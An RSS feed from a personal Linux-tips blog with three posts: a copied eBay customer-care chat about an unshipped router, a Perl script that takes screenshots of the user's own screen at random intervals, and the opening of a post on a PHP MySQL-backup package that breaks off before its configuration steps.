<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-3927556057800641511</atom:id><lastBuildDate>Mon, 28 Nov 2011 01:22:47 +0000</lastBuildDate><category>apache2 port change</category><category>auto complete</category><category>password change</category><category>mysql</category><category>dynamic dns</category><category>php</category><category>chat session</category><category>localhost to internet</category><category>perl</category><category>eaby</category><category>lshw</category><category>autocomplete</category><category>dyndns</category><category>localhost</category><category>linux commands</category><category>root password</category><category>apache2</category><category>port change</category><category>mysql backup</category><category>open office recovery</category><category>recovery problem</category><category>sudo</category><category>commands</category><category>dns</category><category>reset mysql root</category><category>shell</category><category>grep</category><category>hardware lister</category><category>html</category><category>malware attack</category><category>server</category><category>change password</category><category>unix commands</category><category>customer care</category><category>ubuntu</category><category>reset mysql password</category><category>browser cache</category><category>password</category><category>openoffice.org</category><title>Tips &amp; Tricks for Freedom</title><description>ubuntu tweaks, javascript functions, php solutions, shell scripts.</description><link>http://ubutrix.blogspot.com/</link><managingEditor>noreply@blogger.com (Anish)</managingEditor><generator>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ubutrix" /><feedburner:info uri="ubutrix" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-6770625888962432669</guid><pubDate>Tue, 06 Sep 2011 06:48:00 +0000</pubDate><atom:updated>2011-09-06T12:24:50.190+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">eaby</category><category domain="http://www.blogger.com/atom/ns#">chat session</category><category domain="http://www.blogger.com/atom/ns#">customer care</category><title>My Experience on CC chat session with ebay.in</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I have ordered a wireless router from a trusted seller of ebay. Even after contacted em over phone, they are not seems to send it, and I want this item urgently. As a result of this, I took a move to ask CC chat help on this which cost more than one hour . This is the copy paste of my chat.&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Initial Question/Comment: Bidding / Buying&lt;br /&gt;
&lt;b&gt;10:52:16 System&lt;/b&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt; has joined this session!&lt;br /&gt;
10:52:16 System&lt;br /&gt;
Connected with &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
10:53:21 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
Hello, Welcome to &lt;i&gt;eBay Live Help&lt;/i&gt;. My name is &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustubh&lt;/span&gt;. How may I assist you today?&lt;br /&gt;
10:53:57 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Hello, Myself ***** a computer engineer. I have ordered a wirelsess router &lt;b&gt;&lt;i&gt;9 days&lt;/i&gt;&lt;/b&gt; before and still not &lt;i&gt;shipped&lt;/i&gt;. Is it &lt;b&gt;possible to cancel my order&lt;/b&gt; ?&lt;br /&gt;
10:54:21 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
Okay.&lt;br /&gt;
10:55:16 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
In that case &lt;i&gt;you need to contact the seller only he can cancel your order&lt;/i&gt;&lt;br /&gt;
10:56:36 Kaustub&lt;br /&gt;
only seller can cancel your order ask him to sent the cancellation form .&lt;br /&gt;
10:56:36 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
I have contacted the guy over phone yesterday and promised to courier it by yesterday itself. But still seems not couriered as promised&lt;br /&gt;
10:57:22 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
So I need to send an email from ebay asking for the cancellation form&lt;br /&gt;
10:58:00 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
right ?&lt;br /&gt;
10:58:06 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
Okay so you want to cancel the order because seller shipped yesterday.&lt;br /&gt;
10:58:29 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
seller not shipped after long nine days&lt;br /&gt;
10:58:43 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
Sorry ,only seller can cancel the order .&lt;br /&gt;
10:58:43 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
I cannot wait any longer&lt;br /&gt;
10:59:05 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
Okay&lt;br /&gt;
10:59:24 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Thats it. Thank You Sir&lt;br /&gt;
10:59:46 &lt;span class="Apple-style-span" style="color: red;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Can I copy this conversation ?&lt;br /&gt;
11:00:38 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
seems like copy and print button are not working&lt;br /&gt;
11:00:41 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;so please don't if the seller has not shipped it for last 9 day's system will automatically generate your refund&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
11:01:28 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Okay thats fine. I can wait today also.&lt;br /&gt;
11:01:36 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
.Please help me with your &lt;b&gt;eBay User ID&lt;/b&gt;.&lt;br /&gt;
11:01:43 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
*******&lt;br /&gt;
11:02:11 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
yes you can surely copy this conversation for your reference&lt;br /&gt;
&lt;b&gt;11:03:31&lt;/b&gt; &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;b&gt;Please be online.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
11:03:35 thecoderin&lt;br /&gt;
Thank you sir. I can wait one more day before go n fetch it from local retailer.&lt;br /&gt;
11:03:40 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
okay&lt;br /&gt;
11:05:21 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #660000;"&gt;&lt;b&gt;let me check&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
11:09:16 &lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub&lt;/span&gt;&lt;br /&gt;
can you tell me it was for which item&lt;br /&gt;
11:10:54 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Wireless Router G Linksys by CISCO WRT54GH 1Yr Warranty (160642644130)&lt;br /&gt;
11:11:04 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Hope you can see that&lt;br /&gt;
11:26:20 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
u there?&lt;br /&gt;
11:39:53 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
You need more time ?&lt;br /&gt;
&lt;b&gt;11:41:02&lt;/b&gt; System&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: #660000;"&gt;Your agent has been disconnected from the system, you are now being transferred to your original queue. Please stand by...&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
11:41:02 System&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Kaustub &lt;/span&gt;has left this session!&lt;br /&gt;
11:48:52 System&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C&lt;/span&gt;. has joined this session!&lt;br /&gt;
11:48:52 System&lt;br /&gt;
Connected with &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C.&lt;/span&gt;&lt;br /&gt;
11:48:57 &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C&lt;/span&gt;.&lt;br /&gt;
Hello, Welcome to eBay Live Help. My name is &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C&lt;/span&gt;. How may I assist you today?&lt;br /&gt;
11:49:44 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Can you see my old chat that left by &lt;span class="Apple-style-span" style="color: red;"&gt;Kausthub&lt;/span&gt; or I need to tell you the whole story again ?&lt;br /&gt;
11:50:52 &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C&lt;/span&gt;.&lt;br /&gt;
You wanted to cancel the transaction .&lt;br /&gt;
11:51:03 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
long story short yes.&lt;br /&gt;
11:51:25 &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C.&lt;/span&gt;&lt;br /&gt;
well you need to contact the seller&lt;br /&gt;
11:51:32 &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C.&lt;/span&gt;&lt;br /&gt;
only he can cancel the transaction .&lt;br /&gt;
11:51:43 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
my ebay user id is: *********&lt;br /&gt;
Item I want to be cancel is Wireless Router G Linksys by CISCO WRT54GH 1Yr Warranty (160642644130)&lt;br /&gt;
11:53:11 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
Okay. Thanks. Its been bad to waiting an hour to get this answer.&lt;br /&gt;
I want to post this on my blog but seems neither the copy button nor the print button is working&lt;br /&gt;
11:54:32 &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C.&lt;/span&gt;&lt;br /&gt;
I told you only seller can cancel the transaction&lt;br /&gt;
11:55:50 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;I heard it sir. I wonder why Kausthub ask me to be online if that is all.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
11:56:14 &lt;span class="Apple-style-span" style="color: orange;"&gt;thecoderin&lt;/span&gt;&lt;br /&gt;
and left the session without any prompt.&lt;br /&gt;
11:56:43 &lt;span class="Apple-style-span" style="color: blue;"&gt;Mukesh C.&lt;/span&gt;&lt;br /&gt;
I truly apologise however you have to contact the seller for the same to resolve your concern.&lt;br /&gt;
11:57:57&lt;span class="Apple-style-span" style="color: orange;"&gt; thecoderin&lt;/span&gt;&lt;br /&gt;
Oh that's great of you. Anyway I have wasted more than enough time for this. We all have 24 hrs a day son. Good Day.&lt;br /&gt;
&lt;b&gt;11:58:05 System&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;The session has ended!&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-6770625888962432669?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EbD3LEggbwNdueUKnOi9hQTXniU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EbD3LEggbwNdueUKnOi9hQTXniU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EbD3LEggbwNdueUKnOi9hQTXniU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EbD3LEggbwNdueUKnOi9hQTXniU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/pranCjxhWrU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/pranCjxhWrU/my-experience-with-cc-chat-session-with.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2011/09/my-experience-with-cc-chat-session-with.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-1880147298428324077</guid><pubDate>Sat, 28 Aug 2010 08:04:00 +0000</pubDate><atom:updated>2011-09-06T12:24:20.789+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">linux commands</category><category domain="http://www.blogger.com/atom/ns#">perl</category><category domain="http://www.blogger.com/atom/ns#">shell</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>PERL script for auto-generating screenshots</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div align="LEFT" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;There is so many ways to generate screenshots on linux machine, like &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;ksnapshot&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;, &lt;br /&gt;
gnome-screenshot etc. There is one more command available  is '&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #00ae00;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;import&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;'. It is used for capture some or all of an X server screen and save the image to a file in the system. Try this on your system. On Terminal try:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="LEFT" style="background: none repeat scroll 0% 0% rgb(230, 230, 255); margin-bottom: 0in;"&gt;&lt;span style="color: #00ae00;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: #e6e6e6; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;$ import test.png&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="LEFT" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;You can find that the mouse pointer changes to cross-hair. Draw a rectangle using your mouse, it will captured and saved it to your home directory named &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;&lt;span style="font-weight: normal;"&gt;test.png&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;. If you try this instead &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #00ae00;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;import&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #00ae00;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;&lt;span style="font-weight: normal;"&gt;root &lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #00ae00;"&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;test.png&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;br /&gt;
it will took all the screen and save automatically. From this I&amp;nbsp;  developed a perl script to schedule to get automatic screenshots. Here is the code.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="background: none repeat scroll 0% 0% rgb(230, 230, 230); margin-bottom: 0in;"&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;br /&gt;
&lt;span style="color: blue;"&gt;#/usr/bin/perl&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #9966cc;"&gt;use&lt;/span&gt; POSIX &lt;span style="color: magenta;"&gt;qw(strftime)&lt;/span&gt;;&lt;br /&gt;
&lt;/span&gt; &lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;br /&gt;
&lt;span style="color: #993366;"&gt;my&lt;/span&gt; &lt;span style="color: #579d1c;"&gt;$range&lt;/span&gt; = 600;&lt;br /&gt;
&lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #99284c;"&gt;my&lt;/span&gt; &lt;span style="color: #00ae00;"&gt;$dir&lt;/span&gt; = '&lt;span style="color: magenta;"&gt;/opt/screen-'&lt;/span&gt;.strftime('&lt;span style="color: magenta;"&gt;%d-%m-%Y&lt;/span&gt;', &lt;span style="color: #33a3a3;"&gt;localtime&lt;/span&gt;);&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;   &lt;span style="color: #99284c;"&gt;while&lt;/span&gt;(1)  {&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #00ae00;"&gt;$sleepr&lt;/span&gt; = &lt;span style="color: #33a3a3;"&gt;rand&lt;/span&gt;(&lt;span style="color: #00ae00;"&gt;$range&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #00ae00;"&gt;$file&lt;/span&gt; = strftime('&lt;span style="color: magenta;"&gt;%T&lt;/span&gt;', &lt;span style="color: #33a3a3;"&gt;localtime&lt;/span&gt;);&lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #99284c;"&gt;&amp;nbsp;&amp;nbsp; if&lt;/span&gt;(&lt;span style="color: #99284c;"&gt;! -&lt;/span&gt;d&lt;span style="color: #00ae00;"&gt; $dir&lt;/span&gt;)  {&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #33a3a3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mkdir&lt;/span&gt; &lt;span style="color: #00ae00;"&gt;$dir&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;      &lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;} &lt;br /&gt;
&lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #00ae00;"&gt;$command&lt;/span&gt; = "&lt;span style="color: magenta;"&gt;sleep&lt;/span&gt;".&lt;span style="color: #00ae00;"&gt;$sleepr&lt;/span&gt;."&lt;span style="color: magenta;"&gt;; import -window root&lt;/span&gt; ".&lt;span style="color: #00ae00;"&gt;$dir&lt;/span&gt;.'/'&lt;span style="color: #00ae00;"&gt;.$file&lt;/span&gt;."_".&lt;span style="color: #00ae00;"&gt;$sleepr&lt;/span&gt;."&lt;span style="color: magenta;"&gt;.jpg&lt;/span&gt;";&lt;br /&gt;
&lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;&lt;span style="color: #33a3a3;"&gt;system&lt;/span&gt;(&lt;span style="color: #00ae00;"&gt;$command&lt;/span&gt;);&lt;br /&gt;
&lt;/span&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="font-family: ARial, sans-serif;"&gt;&lt;span style="background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;"&gt;Run the script, and minimize the terminal, it will generate a screenshot and store automatically within having a maximum delay of 10 minutes, $range represents the maximum time delay.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-1880147298428324077?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5fr4i1n_wbvXFBZmm0ywtjNrKX8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5fr4i1n_wbvXFBZmm0ywtjNrKX8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5fr4i1n_wbvXFBZmm0ywtjNrKX8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5fr4i1n_wbvXFBZmm0ywtjNrKX8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/yLGZ9L0e1M4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/yLGZ9L0e1M4/perl-script-for-auto-generating.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2010/08/perl-script-for-auto-generating.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-1956645723930090851</guid><pubDate>Thu, 03 Dec 2009 12:32:00 +0000</pubDate><atom:updated>2010-09-22T10:52:45.573+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mysql backup</category><category domain="http://www.blogger.com/atom/ns#">mysql</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>Auto generated MySQL backup Using PHP</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;Many sites are using MySQL as database. It is a good practice that taking backup in regular intervals. My aim was to develop a package which deliver me  database backup files [ having extension .&lt;span style="color: red;"&gt;sql&lt;/span&gt;] and mail me with the file as attachment.&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;You can download&lt;span style="font-size: x-small;"&gt;[ &lt;a href="http://www.phpclasses.org/browse/package/5808.html" name="myeskuel PHP Package" target="_blank"&gt;link&lt;/a&gt; ]&lt;/span&gt; this package from phpclasses.org&lt;span style="font-size: x-small;"&gt;[ &lt;a href="http://www.phpclasses.org/" target="_blank"&gt;link&lt;/a&gt; ]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;This package, I named it as &lt;b&gt;myeskuel&lt;/b&gt;&lt;span style="font-weight: normal;"&gt;. This package contains&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;1. ReadMe  File : README.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;2. Class  File  : mysql.class.inc&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;3. Configuration  File: config.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;4. Invoking  script : backup.php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;b&gt;How To Configure This&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="color: white; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;All you need to give some details into the config.php file. The configuration is divided into 3 parts:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="color: white; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
